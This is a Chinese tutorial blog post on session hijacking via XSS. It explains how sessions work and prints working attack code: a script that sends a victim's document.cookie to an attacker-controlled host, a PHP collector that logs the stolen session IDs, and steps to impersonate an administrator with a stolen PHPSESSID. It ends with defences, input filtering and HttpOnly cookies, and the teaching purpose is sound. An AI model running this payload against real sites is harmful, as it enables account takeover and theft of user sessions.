XSS危害——session劫持

在跨站脚本攻击XSS中简单介绍了XSS的原理及一个利用XSS盗取存在cookie中用户名和密码的小例子，有些同学看了后会说这有什么大不了的，哪里有人会明文往cookie里存用户名和密码。今天我们就介绍一种危害更大的XSS——session劫持。

神马是session

想明白session劫持及其危害，首先要搞清楚什么是session，熟悉http的同学知道，http是无状态的，也就是客户端向服务器请求完成后，会断开连接，下次同一个客户端再次访问服务器的时候，服务器会把它当作一个陌生的请求，不会知道它曾经来过，这里有它的印记。

但是这样的交互是非常麻烦的，某个网站有很多theme，通过一套机制记在服务器中，用户访问的时候从数据库等地方读取配置，返回给客户端合适的themeHTML响应。因为http没有状态，下次用户再来的时候又读取一遍数据库配置，每个用户都要重复这个过程，是不是很麻烦。这时候我们希望有一个全局的变量存储空间，用来存放一些全站点都需要的并且不会变来变去（即使变也没什么）的数据，这就是Application变量。Application变量是站点的全局变量，只要服务器不宕机，任何用户在任何页面在授权的情况下都可以访问，进行读写操作。这样一些theme、timezone等信息就可以在用户第一次访问的时候存放在Application内，再次访问或者其它用户访问的时候可以直接去读取，方便了很多。

然而，有时候我们希望服务器为我们每个单独的web用户开辟一块儿私密空间，比如我们肯定不希望用户访问一个页面就输一次用户名、密码，当用户第一次登录成功后可以把登录信息存放在服务器，下次来了直接比对就可以。但是明显大家不希望自己的用户名和密码能够被所有的用户访问，所以服务器私密空间是需要的。

but，由于http的无状态性即使服务器上有了每个用户的私密空间，但下次用户访问的时候，服务器仍然不知道用户是张三、李四还是王二麻子。这可怎么办，聪明的同学肯定想到了，让客户端的请求告诉服务器我是王二麻子就行了。这样服务器和客户端就可以对话了，不至于说了后句就忘了前句。

问题在于客户端怎么告诉服务器我是谁。细心的同学会注意到cookie是http协议的一部分，会在http请求和http响应中出现，而客户端和服务器有记忆的会话正是靠cookie实现的。拿登录做例子，会话过程是这样的

1. 客户端发送登录请求

2. 服务器接收请求，验证登录，成功后为此web用户开辟一个私密空间，存放登录信息

3. 服务器为这个私密空间编号，类似于PHPSESSID=rcmjnke6er5pnvf3qof0lclca7这样的一个键值对，不同的语言生成的键名和值的规则不同，但是都本着两个原则：第一，value必须唯一，毕竟一个站点可能同时有数百万甚至更多用户在访问，不能让两个用户的表示一样；第二：生成的value必须是不可推测的，否则别有用心用户就可以根据自己的表示信息推断出别人的，然后伪造别人登录信息访问站点（这正是session劫持）。

4. 服务器把这个键值对写入http响应中传给客户端

5. 客户端接收响应，关闭连接

登录成功，用户访问其他页面

1. 客户端发送登录请求（服务器写到cookie中的用户标识信息也被发送）

2. 服务器读取http请求中的cookie信息，根据标识信息查找对应私密空间，读取用户信息

3. 服务器生成特定响应，发送给客户端

4. 客户端接收响应，关闭连接

这个过程是不是很像是一个会话？这样第一次来了给个标签，下次凭此标签交流的机制就是session，当然session还包含其失效机制等。

session劫持

服务器生成的用以标识客户信息的cookie一般被称为sessionId，而通过一些手段获取其它用户sessionId的攻击就叫session劫持。

说的这么恐怖，那么被别人知道了我的sessionId后会有什么危险呢？通过上面交互过程可以看出来服务器是靠sessionId识别客户端是张三、李四还是王二麻子的，当其它用户获知了你的sessionId后，在其有效期内就可以凭此sessionId欺骗服务器，获取你的身份登录使用网站。

XSS劫持session

还是使用跨站脚本攻击XSS中留言板的XSS漏洞，添加一个登录成功的首页，包含留言板页面链接，管理员有其它权限，登录失败返回登录页。

home.php

<!DOCTYPE html>

<html>

    <head>

        <title>Home</title>

        <?php include('/components/headerinclude.php');?>

    </head>

    <body>

        <a href="list.php">Comments</a>

        <?php

            use \entity\authority as au;

            include 'entity\user.php';

            if(isset($_POST['username'])){

                $user=new au\User();

                $user->username=$_POST['username'];

                $user->password=md5($_POST['password']);

                if($user->username=='Byron'){

                    $user->role='admin';

                }else{

                    $user->role='normal';

                }

                $_SESSION['user']=json_encode($user);

            }

            if(!isset($_SESSION['user'])){

                echo '<script>';

                echo 'window.location.href="index.php"';

                echo '</script>';

            }else{

                $me=json_decode($_SESSION['user']);

                echo '<br/>Hello '.$me->username.'!<br/>';

                if($me->role=='admin'){

                    echo "Your are an Administrator, you can do anything.";

                }

            }

        ?>

    </body>

</html>

当我们以管理员身份登录后界面是这样的

当没有管理员权限的恶意用户登录并访问留言板的时候，利用XSS漏洞注入这样代码

看看坏蛋做了什么

http://test.com/hack.js

var c=document.cookie;

var script =document.createElement('script');

script.src='http://test.com/index.php?c='+c;

document.body.appendChild(script);

脚本中创建了一个script标签，利用jsonp连带这当前用户的cookie向'http://test.com/index.php发送了http请求

http://test.com/index.php

<?php

    if(!empty($_GET['c'])){

        $cookie=$_GET['c'];

        try{

            $path=$_SERVER["DOCUMENT_ROOT"].'/session.txt';

            $fp=fopen($path,'a');

            flock($fp, LOCK_EX);

            fwrite($fp, "$cookie\r\n");

            flock($fp, LOCK_UN);

            fclose($fp);

        }catch(Exception $e){

        }

    }

?>

原来坏蛋通过XSS把sessionId记到了自己磁盘

如何伪造管理员登录

这样如果在坏蛋利用XSS注入劫持sessionId的脚本后管理员登录并访问留言板页面，坏蛋就会得到管理员的sessionId，在其有效期内坏蛋可以这么做

1. 利用自己帐号登录系统，等待管理员访问被攻击页面，获取其sessionId

比如我得到管理员sessionId PHPSESSID=93jqhkal21kn6lg68uubvd1s37

2. 通过客户端修改sessionId

自己登录界面

修改cookie

3. 刷新页面，骗过服务器，自己成了管理员

4. 不堪设想。。。

如何防范

这种session劫持主要靠XSS漏洞和客户端获取sessionId完成，一次防范分两步

1. 过滤用户输入，防止XSS漏洞

2. 设置sessionId的cookie为HttpOnly，使客户端无法获取